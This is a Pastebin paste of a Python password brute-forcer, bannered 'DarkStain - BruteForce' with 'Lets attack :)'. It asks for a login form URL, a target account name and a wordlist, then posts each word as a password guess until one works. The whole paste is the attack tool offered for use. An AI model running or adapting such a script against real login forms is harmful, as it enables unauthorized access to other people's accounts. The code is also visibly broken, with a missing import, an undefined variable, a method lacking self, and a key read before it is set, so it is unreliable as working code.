Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- import socks
- import threading
- import random
- import re
- import urllib.request
- import os
- import sys
- import fileinput
- from bs4 import BeautifulSoup as BS
- import logging
- logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
- if sys.platform.startswith("linux"):
- from scapy.all import *
- elif sys.platform.startswith("freebsd"):
- from scapy.all import *
- else:
- print ("Use HTTP flood.")
- print('''
- _____ _ _ _ _ _
- | _ | | | | | (_) | |
- | | | |_ __ _ __ ___ _ __ | |_ __ _| | ___| | |
- | | | | '_ \ | '_ \ / _ \ '_ \| __/ _` | |/ / | | |
- \ \_/ / |_) | | |_) | __/ | | | || (_| | <| | | |
- \___/| .__/ | .__/ \___|_| |_|\__\__,_|_|\_\_|_|_|
- | |______| |
- |_|______|_| [DarkStain - BruteForce]
- [SUCCESSFULLY STARTED]
- [Lets attack :)]
- [Coded By : Sinxtenyin]
- ''')
- class Darkstainbrute():
- def starturl(self):
- global url
- global url2
- global urlport
- url = input("\nType the URL of login form to bruteforce> ").strip()
- if url == "":
- print ("Please enter the url.")
- self.starturl()
- try:
- if url[0]+url[1]+url[2]+url[3] == "www.":
- url = "http://" + url
- elif url[0]+url[1]+url[2]+url[3] == "http":
- pass
- else:
- url = "http://" + url
- except:
- print("You mistyped, try again.")
- self.starturl()
- try:
- url2 = url.replace("http://", "").replace("https://", "").split("/")[0].split(":")[0]
- except:
- url2 = url.replace("http://", "").replace("https://", "").split("/")[0]
- try:
- urlport = url.replace("http://", "").replace("https://", "").split("/")[0].split(":")[1]
- except:
- urlport = "80"
- self.nickname()
- def nickname(self):
- global nick
- nick = input("\nType the login nickname of account to get password> ").strip()
- if nick == "":
- print ("Please enter the nickname.")
- self.nickname()
- else:
- self.submit()
- def submit(self):
- global submit
- submit = str(input("What's name have your submit button?> "))
- if submit == "":
- print("Please enter name of submit element.")
- self.submit()
- else:
- self.wordlist()
- def wordlist(self):
- global wordlist
- wordlist = str(input("Enter (darkstain-wl.txt)> "))
- if wordlist == "":
- wordlist = "darkstain-wl.txt"
- self.controller()
- def connect(url,m):
- t = requests.post(url, data=m)
- soup = BS(t.text)
- nick = soup.find('a', type="text")
- x = str(a.string)
- if x == nick:
- print ("The password is" + " " + m['passw'])
- sys.exit()
- else:
- print ("Password attack atempt %s" %m['passw'])
- def controller(self):
- m = {}
- for line in fileinput.input([wordlist]):
- m["uid"] = nick
- m["passw"] = str(line)
- submit = m["submit"]
- print (m)
- connect(url,m)
- def main():
- darkstainbrute = Darkstainbrute()
- darkstainbrute.starturl()
- if __name__ == "__main__":
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement